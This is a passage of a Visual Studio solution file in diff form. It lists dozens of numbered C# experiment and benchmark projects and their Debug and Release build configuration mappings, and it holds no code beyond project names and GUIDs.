"{0D5A2249-5336-451F-AC79-7CBAE41D46E0}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E027-ConfigurationBenchmarks", "E027-ConfigurationBenchmarks\E027-ConfigurationBenchmarks.csproj", "{2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E028-ClassMemoryAddress", "E028-ClassMemoryAddress\E028-ClassMemoryAddress.csproj", "{DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E029-CircularBitShift", "E029-CircularBitShift\E029-CircularBitShift.csproj", "{24763AC2-85DD-4473-9C89-D6BF0E8267FB}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E032-BinaryFormatterExploit", "E032-BinaryFormatterExploit\E032-BinaryFormatterExploit.csproj", "{FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E034-EncryptionNetwork", "E034-EncryptionNetwork\E034-EncryptionNetwork.csproj", "{472698F1-9E41-47AF-8805-E358FE2B63FB}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E035-Expressions", "E035-Expressions\E035-Expressions.csproj", "{957B8279-B735-454C-B381-28C647E006BB}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E036-NegateVsTimesMinus1Benchmarks", "E036-NegateVsTimesMinus1Benchmarks\E036-NegateVsTimesMinus1Benchmarks.csproj", "{55920614-9DFA-4052-9930-DEBB7BFC8414}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E037-FractionReduce", "E037-FractionReduce\E037-FractionReduce.csproj", "{C434A646-C742-4EC5-9FFF-ACFADEF32B81}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E038-RecursionBenchmarks", "E038-RecursionBenchmarks\E038-RecursionBenchmarks.csproj", "{36D8561F-F0EB-4262-8CE8-FB88BE373EB4}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E039-UdpTest", "E039-UdpTest\E039-UdpTest.csproj", "{7A6C21D3-FDD8-4F73-A94C-608545169F66}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E040-CleverUsing", "E040-CleverUsing\E040-CleverUsing.csproj", "{DBE4E62D-7588-45F7-9B46-F94028F0E811}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E041-InheritanceTest", "E041-InheritanceTest\E041-InheritanceTest.csproj", "{3D2CA600-8540-47A2-B488-2624D54390A8}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E042-LinqBenchmarks", "E042-LinqBenchmarks\E042-LinqBenchmarks.csproj", "{EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E043-AllNumericExceptBenchmarks", "E043-AllNumericExceptBenchmarks\E043-AllNumericExceptBenchmarks.csproj", "{7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E044-FiveFiveLetter", "E044-FiveFiveLetter\E044-FiveFiveLetter.csproj", "{1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E045-VerbosePunctuation", "E045-VerbosePunctuation\E045-VerbosePunctuation.csproj", "{18D01F93-0B92-40DC-8629-4C03759FC59E}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E046-DigitalRootBenchmarks", "E046-DigitalRootBenchmarks\E046-DigitalRootBenchmarks.csproj", "{F635EBDF-9BD4-4785-87AD-2DD768C363C9}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E047-DigitalRoot", "E047-DigitalRoot\E047-DigitalRoot.csproj", "{4DB29CDF-C9A1-430C-A789-1B0E65023590}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E048-ColorClamping", "E048-ColorClamping\E048-ColorClamping.csproj", "{03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E049-CoordinateBenchmarks", "E049-CoordinateBenchmarks\E049-CoordinateBenchmarks.csproj", "{9FC59E07-F50D-4285-BE5C-4A0156089AE1}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E050-CEF", "E050-CEF\E050-CEF.csproj", "{CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E051-LazyLinqTest", "E051-LazyLinqTest\E051-LazyLinqTest.csproj", "{D909599F-3A2A-4423-BAE0-A4B40A5F09C4}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E052-LineCountBenchmarks", "E052-LineCountBenchmarks\E052-LineCountBenchmarks.csproj", "{F30BDA1F-3203-4191-944A-070DCF4905B2}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E053-InverseSqrtBenchmarks", "E053-InverseSqrtBenchmarks\E053-InverseSqrtBenchmarks.csproj", "{0A37A89E-66A6-4BF8-8F11-D388E8406F2B}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E054-DivisionBenchmarks", "E054-DivisionBenchmarks\E054-DivisionBenchmarks.csproj", "{0DACAADE-F388-4C03-AAAA-990917FA6BD7}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E056-UnsafeKata", "E056-UnsafeKata\E056-UnsafeKata.csproj", "{B84420CC-FBFB-41FC-B1B3-F3F0637382FD}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E057-TypeRoulette", "E057-TypeRoulette\E057-TypeRoulette.csproj", "{611F553F-AE76-4DE4-BEAF-FB07E1D42145}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E058-ToArrayVsAsReadOnlyBenchmarks", "E058-ToArrayVsAsReadOnlyBenchmarks\E058-ToArrayVsAsReadOnlyBenchmarks.csproj", "{D3956C0F-BE5A-4276-8F85-C0F8F8250931}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E059-RandomTypes", "E059-RandomTypes\E059-RandomTypes.csproj", "{E0DFB8D1-5F56-46B9-B519-A270F84D666E}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E060-PointerFuckery", "E060-PointerFuckery\E060-PointerFuckery.csproj", "{B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E062-LoopVsCountBenchmarks", "E062-LoopVsCountBenchmarks\E062-LoopVsCountBenchmarks.csproj", "{CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E063-LinqVsNoLinqBenchmarks", "E063-LinqVsNoLinqBenchmarks\E063-LinqVsNoLinqBenchmarks.csproj", "{B38B1DF3-599B-44F1-BC5D-8C23756EBD85}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E064-DynamicVsReflectionBenchmarks", "E064-DynamicVsReflectionBenchmarks\E064-DynamicVsReflectionBenchmarks.csproj", "{221CAE99-5A4D-41A7-8C9D-936F11760B15}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E065-DiacriticBenchmarks", "E065-DiacriticBenchmarks\E065-DiacriticBenchmarks.csproj", "{9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E067-FacebookMathProblem", "E067-FacebookMathProblem\E067-FacebookMathProblem.csproj", "{E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E068-SseBenchmarks", "E068-SseBenchmarks\E068-SseBenchmarks.csproj", "{153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E069-IntegerToDecimalBenchmarks", "E069-IntegerToDecimalBenchmarks\E069-IntegerToDecimalBenchmarks.csproj", "{0587EEAC-ACAE-4622-89C9-AC324FAC430A}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E070-TimeSpanConversionBenchmarks", "E070-TimeSpanConversionBenchmarks\E070-TimeSpanConversionBenchmarks.csproj", "{F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E071-Thev2AndySerializer", "E071-Thev2AndySerializer\E071-Thev2AndySerializer.csproj", "{6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E072-StringBenchmarks", "E072-StringBenchmarks\E072-StringBenchmarks.csproj", "{3AC20C3A-0FB3-41C3-81A6-C4610050576A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {22AEFFC8-2907-4836-9E32-225AA4CE1E98}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {22AEFFC8-2907-4836-9E32-225AA4CE1E98}.Debug|Any CPU.Build.0 = Debug|Any CPU + {22AEFFC8-2907-4836-9E32-225AA4CE1E98}.Release|Any CPU.ActiveCfg = Release|Any CPU + {22AEFFC8-2907-4836-9E32-225AA4CE1E98}.Release|Any CPU.Build.0 = Release|Any CPU + {43814C2B-541F-40EA-8EB9-7C594AADB43A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {43814C2B-541F-40EA-8EB9-7C594AADB43A}.Debug|Any CPU.Build.0 = Debug|Any CPU + {43814C2B-541F-40EA-8EB9-7C594AADB43A}.Release|Any CPU.ActiveCfg = Release|Any CPU + {43814C2B-541F-40EA-8EB9-7C594AADB43A}.Release|Any CPU.Build.0 = Release|Any CPU + {AC944BBF-6BBF-48BB-9353-3D83127D0AA2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {AC944BBF-6BBF-48BB-9353-3D83127D0AA2}.Debug|Any CPU.Build.0 = Debug|Any CPU + {AC944BBF-6BBF-48BB-9353-3D83127D0AA2}.Release|Any CPU.ActiveCfg = Release|Any CPU + {AC944BBF-6BBF-48BB-9353-3D83127D0AA2}.Release|Any CPU.Build.0 = Release|Any CPU + {53F8D539-5076-4E4A-9455-A7B97C4854C4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {53F8D539-5076-4E4A-9455-A7B97C4854C4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {53F8D539-5076-4E4A-9455-A7B97C4854C4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {53F8D539-5076-4E4A-9455-A7B97C4854C4}.Release|Any CPU.Build.0 = Release|Any CPU + {3D4F0B68-B569-4753-B0C7-D7B30973A358}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {3D4F0B68-B569-4753-B0C7-D7B30973A358}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3D4F0B68-B569-4753-B0C7-D7B30973A358}.Release|Any CPU.ActiveCfg = Release|Any CPU + {3D4F0B68-B569-4753-B0C7-D7B30973A358}.Release|Any CPU.Build.0 = Release|Any CPU + {5B080504-C0BB-476E-8A0C-2E3AA3A9466B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {5B080504-C0BB-476E-8A0C-2E3AA3A9466B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {5B080504-C0BB-476E-8A0C-2E3AA3A9466B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {5B080504-C0BB-476E-8A0C-2E3AA3A9466B}.Release|Any CPU.Build.0 = Release|Any CPU + {EA52F387-8BB9-4FF8-A736-6DF125B3CF58}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {EA52F387-8BB9-4FF8-A736-6DF125B3CF58}.Debug|Any CPU.Build.0 = Debug|Any CPU + {EA52F387-8BB9-4FF8-A736-6DF125B3CF58}.Release|Any CPU.ActiveCfg = Release|Any CPU + {EA52F387-8BB9-4FF8-A736-6DF125B3CF58}.Release|Any CPU.Build.0 = Release|Any CPU + {102E8F58-523E-491C-8984-5A22A614CCFE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {102E8F58-523E-491C-8984-5A22A614CCFE}.Debug|Any CPU.Build.0 = Debug|Any CPU + {102E8F58-523E-491C-8984-5A22A614CCFE}.Release|Any CPU.ActiveCfg = Release|Any CPU + {102E8F58-523E-491C-8984-5A22A614CCFE}.Release|Any CPU.Build.0 = Release|Any CPU + {595AB54B-38CC-4E35-887D-61E46E13C398}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {595AB54B-38CC-4E35-887D-61E46E13C398}.Debug|Any CPU.Build.0 = Debug|Any CPU + {595AB54B-38CC-4E35-887D-61E46E13C398}.Release|Any CPU.ActiveCfg = Release|Any CPU + {595AB54B-38CC-4E35-887D-61E46E13C398}.Release|Any CPU.Build.0 = Release|Any CPU + {949554A1-B8CD-4D8E-93BF-EEEA4E832997}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {949554A1-B8CD-4D8E-93BF-EEEA4E832997}.Debug|Any CPU.Build.0 = Debug|Any CPU + {949554A1-B8CD-4D8E-93BF-EEEA4E832997}.Release|Any CPU.ActiveCfg = Release|Any CPU + {949554A1-B8CD-4D8E-93BF-EEEA4E832997}.Release|Any CPU.Build.0 = Release|Any CPU + {22122BD2-E499-46A7-88B0-5B460998551B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {22122BD2-E499-46A7-88B0-5B460998551B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {22122BD2-E499-46A7-88B0-5B460998551B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {22122BD2-E499-46A7-88B0-5B460998551B}.Release|Any CPU.Build.0 = Release|Any CPU + {E43955C3-05B3-4D32-A7E3-F0D0D05FB436}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E43955C3-05B3-4D32-A7E3-F0D0D05FB436}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E43955C3-05B3-4D32-A7E3-F0D0D05FB436}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E43955C3-05B3-4D32-A7E3-F0D0D05FB436}.Release|Any CPU.Build.0 = Release|Any CPU + {ED01E38C-83FD-487D-BE4E-94F39CFCF356}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {ED01E38C-83FD-487D-BE4E-94F39CFCF356}.Debug|Any CPU.Build.0 = Debug|Any CPU + {ED01E38C-83FD-487D-BE4E-94F39CFCF356}.Release|Any CPU.ActiveCfg = Release|Any CPU + {ED01E38C-83FD-487D-BE4E-94F39CFCF356}.Release|Any CPU.Build.0 = Release|Any CPU + {FF23B75C-4AD7-40E1-A72A-715CFED4FC10}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {FF23B75C-4AD7-40E1-A72A-715CFED4FC10}.Debug|Any CPU.Build.0 = Debug|Any CPU + {FF23B75C-4AD7-40E1-A72A-715CFED4FC10}.Release|Any CPU.ActiveCfg = Release|Any CPU + {FF23B75C-4AD7-40E1-A72A-715CFED4FC10}.Release|Any CPU.Build.0 = Release|Any CPU + {F2452AF6-A992-41D4-8C21-EC737A80DB7E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F2452AF6-A992-41D4-8C21-EC737A80DB7E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F2452AF6-A992-41D4-8C21-EC737A80DB7E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F2452AF6-A992-41D4-8C21-EC737A80DB7E}.Release|Any CPU.Build.0 = Release|Any CPU + {DF605BC9-CD3A-4DC0-84D4-F87379B295F6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {DF605BC9-CD3A-4DC0-84D4-F87379B295F6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {DF605BC9-CD3A-4DC0-84D4-F87379B295F6}.Release|Any CPU.ActiveCfg = Release|Any CPU + {DF605BC9-CD3A-4DC0-84D4-F87379B295F6}.Release|Any CPU.Build.0 = Release|Any CPU + {55A8F85F-A740-4710-98F4-DA6E13818176}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {55A8F85F-A740-4710-98F4-DA6E13818176}.Debug|Any CPU.Build.0 = Debug|Any CPU + {55A8F85F-A740-4710-98F4-DA6E13818176}.Release|Any CPU.ActiveCfg = Release|Any CPU + {55A8F85F-A740-4710-98F4-DA6E13818176}.Release|Any CPU.Build.0 = Release|Any CPU + {1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}.Debug|Any CPU.Build.0 = Debug|Any CPU + {1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}.Release|Any CPU.ActiveCfg = Release|Any CPU + {1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}.Release|Any CPU.Build.0 = Release|Any CPU + {DCFA6E58-68BA-4745-9574-F58DDCFEB20D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {DCFA6E58-68BA-4745-9574-F58DDCFEB20D}.Debug|Any CPU.Build.0 = Debug|Any CPU + {DCFA6E58-68BA-4745-9574-F58DDCFEB20D}.Release|Any CPU.ActiveCfg = Release|Any CPU + {DCFA6E58-68BA-4745-9574-F58DDCFEB20D}.Release|Any CPU.Build.0 = Release|Any CPU + {C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}.Release|Any CPU.Build.0 = Release|Any CPU + {F2371518-6DA1-40B8-9C97-53322C57ABF0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F2371518-6DA1-40B8-9C97-53322C57ABF0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F2371518-6DA1-40B8-9C97-53322C57ABF0}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F2371518-6DA1-40B8-9C97-53322C57ABF0}.Release|Any CPU.Build.0 = Release|Any CPU + {036B030C-5CB7-49C7-9F14-A986BF6A0CEF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {036B030C-5CB7-49C7-9F14-A986BF6A0CEF}.Debug|Any CPU.Build.0 = Debug|Any CPU + {036B030C-5CB7-49C7-9F14-A986BF6A0CEF}.Release|Any CPU.ActiveCfg = Release|Any CPU + {036B030C-5CB7-49C7-9F14-A986BF6A0CEF}.Release|Any CPU.Build.0 = Release|Any CPU + {8707E46F-1246-41E6-8728-C78B8D161994}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8707E46F-1246-41E6-8728-C78B8D161994}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8707E46F-1246-41E6-8728-C78B8D161994}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8707E46F-1246-41E6-8728-C78B8D161994}.Release|Any CPU.Build.0 = Release|Any CPU + {2882913B-7382-4F6D-82BA-CDDFF5095449}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {2882913B-7382-4F6D-82BA-CDDFF5095449}.Debug|Any CPU.Build.0 = Debug|Any CPU + {2882913B-7382-4F6D-82BA-CDDFF5095449}.Release|Any CPU.ActiveCfg = Release|Any CPU + {2882913B-7382-4F6D-82BA-CDDFF5095449}.Release|Any CPU.Build.0 = Release|Any CPU + {834A33D0-C8AA-435A-A631-5ECC33097E17}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {834A33D0-C8AA-435A-A631-5ECC33097E17}.Debug|Any CPU.Build.0 = Debug|Any CPU + {834A33D0-C8AA-435A-A631-5ECC33097E17}.Release|Any CPU.ActiveCfg = Release|Any CPU + {834A33D0-C8AA-435A-A631-5ECC33097E17}.Release|Any CPU.Build.0 = Release|Any CPU + {EB83B114-CC77-43AC-8633-A8E668B1A049}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {EB83B114-CC77-43AC-8633-A8E668B1A049}.Debug|Any CPU.Build.0 = Debug|Any CPU + {EB83B114-CC77-43AC-8633-A8E668B1A049}.Release|Any CPU.ActiveCfg = Release|Any CPU + {EB83B114-CC77-43AC-8633-A8E668B1A049}.Release|Any CPU.Build.0 = Release|Any CPU + {C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}.Release|Any CPU.Build.0 = Release|Any CPU + {4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}.Debug|Any CPU.Build.0 = Debug|Any CPU + {4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}.Release|Any CPU.ActiveCfg = Release|Any CPU + {4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}.Release|Any CPU.Build.0 = Release|Any CPU + {0166ACDD-5963-4399-84C1-384D852D2728}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0166ACDD-5963-4399-84C1-384D852D2728}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0166ACDD-5963-4399-84C1-384D852D2728}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0166ACDD-5963-4399-84C1-384D852D2728}.Release|Any CPU.Build.0 = Release|Any CPU + {6882C767-63CB-4387-AD13-0C59471CA759}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {6882C767-63CB-4387-AD13-0C59471CA759}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6882C767-63CB-4387-AD13-0C59471CA759}.Release|Any CPU.ActiveCfg = Release|Any CPU + {6882C767-63CB-4387-AD13-0C59471CA759}.Release|Any CPU.Build.0 = Release|Any CPU + {FD9C7858-BA0F-43A5-A981-79716BD8F331}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {FD9C7858-BA0F-43A5-A981-79716BD8F331}.Debug|Any CPU.Build.0 = Debug|Any CPU + {FD9C7858-BA0F-43A5-A981-79716BD8F331}.Release|Any CPU.ActiveCfg = Release|Any CPU + {FD9C7858-BA0F-43A5-A981-79716BD8F331}.Release|Any CPU.Build.0 = Release|Any CPU + {0D5A2249-5336-451F-AC79-7CBAE41D46E0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0D5A2249-5336-451F-AC79-7CBAE41D46E0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0D5A2249-5336-451F-AC79-7CBAE41D46E0}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0D5A2249-5336-451F-AC79-7CBAE41D46E0}.Release|Any CPU.Build.0 = Release|Any CPU + {2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}.Release|Any CPU.ActiveCfg = Release|Any CPU + {2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}.Release|Any CPU.Build.0 = Release|Any CPU + {DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}.Debug|Any CPU.Build.0 = Debug|Any CPU + {DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}.Release|Any CPU.ActiveCfg = Release|Any CPU + {DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}.Release|Any CPU.Build.0 = Release|Any CPU + {24763AC2-85DD-4473-9C89-D6BF0E8267FB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {24763AC2-85DD-4473-9C89-D6BF0E8267FB}.Debug|Any CPU.Build.0 = Debug|Any CPU + {24763AC2-85DD-4473-9C89-D6BF0E8267FB}.Release|Any CPU.ActiveCfg = Release|Any CPU + {24763AC2-85DD-4473-9C89-D6BF0E8267FB}.Release|Any CPU.Build.0 = Release|Any CPU + {FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}.Debug|Any CPU.Build.0 = Debug|Any CPU + {FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}.Release|Any CPU.ActiveCfg = Release|Any CPU + {FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}.Release|Any CPU.Build.0 = Release|Any CPU + {472698F1-9E41-47AF-8805-E358FE2B63FB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {472698F1-9E41-47AF-8805-E358FE2B63FB}.Debug|Any CPU.Build.0 = Debug|Any CPU + {472698F1-9E41-47AF-8805-E358FE2B63FB}.Release|Any CPU.ActiveCfg = Release|Any CPU + {472698F1-9E41-47AF-8805-E358FE2B63FB}.Release|Any CPU.Build.0 = Release|Any CPU + {957B8279-B735-454C-B381-28C647E006BB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {957B8279-B735-454C-B381-28C647E006BB}.Debug|Any CPU.Build.0 = Debug|Any CPU + {957B8279-B735-454C-B381-28C647E006BB}.Release|Any CPU.ActiveCfg = Release|Any CPU + {957B8279-B735-454C-B381-28C647E006BB}.Release|Any CPU.Build.0 = Release|Any CPU + {55920614-9DFA-4052-9930-DEBB7BFC8414}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {55920614-9DFA-4052-9930-DEBB7BFC8414}.Debug|Any CPU.Build.0 = Debug|Any CPU + {55920614-9DFA-4052-9930-DEBB7BFC8414}.Release|Any CPU.ActiveCfg = Release|Any CPU + {55920614-9DFA-4052-9930-DEBB7BFC8414}.Release|Any CPU.Build.0 = Release|Any CPU + {C434A646-C742-4EC5-9FFF-ACFADEF32B81}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C434A646-C742-4EC5-9FFF-ACFADEF32B81}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C434A646-C742-4EC5-9FFF-ACFADEF32B81}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C434A646-C742-4EC5-9FFF-ACFADEF32B81}.Release|Any CPU.Build.0 = Release|Any CPU + {36D8561F-F0EB-4262-8CE8-FB88BE373EB4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {36D8561F-F0EB-4262-8CE8-FB88BE373EB4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {36D8561F-F0EB-4262-8CE8-FB88BE373EB4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {36D8561F-F0EB-4262-8CE8-FB88BE373EB4}.Release|Any CPU.Build.0 = Release|Any CPU + {7A6C21D3-FDD8-4F73-A94C-608545169F66}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {7A6C21D3-FDD8-4F73-A94C-608545169F66}.Debug|Any CPU.Build.0 = Debug|Any CPU + {7A6C21D3-FDD8-4F73-A94C-608545169F66}.Release|Any CPU.ActiveCfg = Release|Any CPU + {7A6C21D3-FDD8-4F73-A94C-608545169F66}.Release|Any CPU.Build.0 = Release|Any CPU + {DBE4E62D-7588-45F7-9B46-F94028F0E811}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {DBE4E62D-7588-45F7-9B46-F94028F0E811}.Debug|Any CPU.Build.0 = Debug|Any CPU + {DBE4E62D-7588-45F7-9B46-F94028F0E811}.Release|Any CPU.ActiveCfg = Release|Any CPU + {DBE4E62D-7588-45F7-9B46-F94028F0E811}.Release|Any CPU.Build.0 = Release|Any CPU + {3D2CA600-8540-47A2-B488-2624D54390A8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {3D2CA600-8540-47A2-B488-2624D54390A8}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3D2CA600-8540-47A2-B488-2624D54390A8}.Release|Any CPU.ActiveCfg = Release|Any CPU + {3D2CA600-8540-47A2-B488-2624D54390A8}.Release|Any CPU.Build.0 = Release|Any CPU + {EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}.Release|Any CPU.ActiveCfg = Release|Any CPU + {EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}.Release|Any CPU.Build.0 = Release|Any CPU + 